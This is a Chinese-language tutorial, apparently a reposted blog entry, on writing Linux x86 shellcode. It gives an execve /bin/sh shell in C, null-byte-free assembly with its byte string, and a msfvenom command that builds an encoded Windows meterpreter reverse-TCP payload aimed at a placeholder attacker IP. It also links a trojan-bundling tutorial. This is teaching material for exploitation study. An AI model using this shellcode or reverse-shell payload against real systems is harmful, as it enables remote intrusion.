一、shellcode编写
下面我将参考其他资料来一步步示范shellcode的几种编写方式
0x01 系统调用
通过系统调用execve函数返回shell
C语言实现:
#include<unistd.h> #include<stdlib.h> char *buf [] = {"/bin/sh",NULL}; void main { execve("/bin/sh",buf,0); exit(0); }
execve函数在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。execve()用来执行第一参数字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。从程序中可以看出,如果通过C语言调用execve来返回shell的话,首先需要引入相应的头文件,然后在主函数中调用系统调用函数execve;同时传入三个参数。
编译运行,获得shell:[email protected]-virtual-machine:~/DIY$ ./shellcode$ whoamielvirangel
示例:
0x02 汇编形式编写shellcode
32位linux内核的系统调用表可以通过http://syscalls.kernelgrok.com/网站来查询
Int 0x80软中断
int 0x80软中断是系统中断,根据中断号和相关寄存器设置调用对应系统函数
开始编写shellcode
global _start _start: mov eax,0; mov edx,0; push edx push "/sh" push "/bin"; mov ebx,esp; xor eax,eax mov al,0Bh; int 80h
可见有很多/x00,shellcode中存在/x00字节在进行利用的时候会被截断,所以我们要避免出现/x00字节,重新修改我们的汇编程序
global _start _start: xor ecx,ecx xor edx,edx push edx push "//sh" push "/bin" mov ebx,esp xor eax,eax mov al,0Bh int 80ha
shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"
三、结合metasploit进行shellcode编写
可以看到使用msfvenom 自动帮我们生成恶意的shellcode
- 其中的-a 代表 的是目标的架构 如:x86
- platform 代表的是一个目标机的平台 如: windows
- 那么-p 呢 代表的是msf的payload的以及-e 和-b 呢 代表这个 encoder编码器,-b 表示去除硬编码中的0x00代码,因为0x00代表着结束的符号,所以我们不能让他出现0x00这个代码。
- 最后的 -i 和-f 分别代表的是iterations和format (迭代次数和格式)
那么我们将其代码重新改改,我们比如需要的功能是meterperter、指定ip和端口、指定shellcode 编码格式如:c或者python等代码
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击者IP地址 LPORT=攻击者端口 -e x86/shikata_ga_nai -b ‘\x00‘ -i 迭代次数 -f c
-p去指定payload为 windows/meterpreter/reverse_tcpLHOST 和LPORT 指定攻击者ip和端口-e指定x86/shikata_ga_nai 编码器-i 指定迭代为如 5次 或10次等-f 指定输出的格式 如c 代码 、或者python等其他格式的代码 -f参数可以参考msfvenom的帮助参数 查看-f的支持格式
随机附上msf捆绑木马教程:https://www.cnblogs.com/ghost00011011/p/7994396.html
原文地址:https://www.cnblogs.com/pwn2web/p/10348458.html